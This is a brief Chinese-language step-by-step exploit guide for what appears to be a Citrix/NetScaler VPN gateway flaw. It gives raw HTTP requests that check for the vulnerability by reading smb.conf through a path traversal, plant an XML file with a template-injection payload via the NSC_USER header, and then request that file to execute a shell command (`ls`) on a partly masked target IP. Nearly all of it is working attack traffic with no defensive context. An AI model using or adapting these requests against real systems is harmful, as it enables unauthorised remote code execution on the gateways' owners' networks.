1.判断是否使用了相关组件

GET /vpn/../vpns/cfg/smb.conf HTTP/1.1
Host: 114.xxx.xxx.234
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

如果存在会返回如下:

[global]
    encrypt passwords = yes
    name resolve order = lmhosts wins host bcast


2.新建XML文件

title为文件名,desc为写入的内容

POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Host: 114.xxx.xxx.234
NSC_USER: ../../../../netscaler/portal/templates/cdz
NSC_NONCE: c
Content-Length: 77

url=http://test.com/&title=cdz&desc=[% template.new({'BLOCK'='print `ls`'})%]

3.执行文件

GET /vpn/../vpns/portal/cdz.xml HTTP/1.1
Host: 114.xxx.xxx.234
NSC_USER: c
NSC_NONCE: c

4.使用过程图示

xx111.jpg
123c.jpg
123z.jpg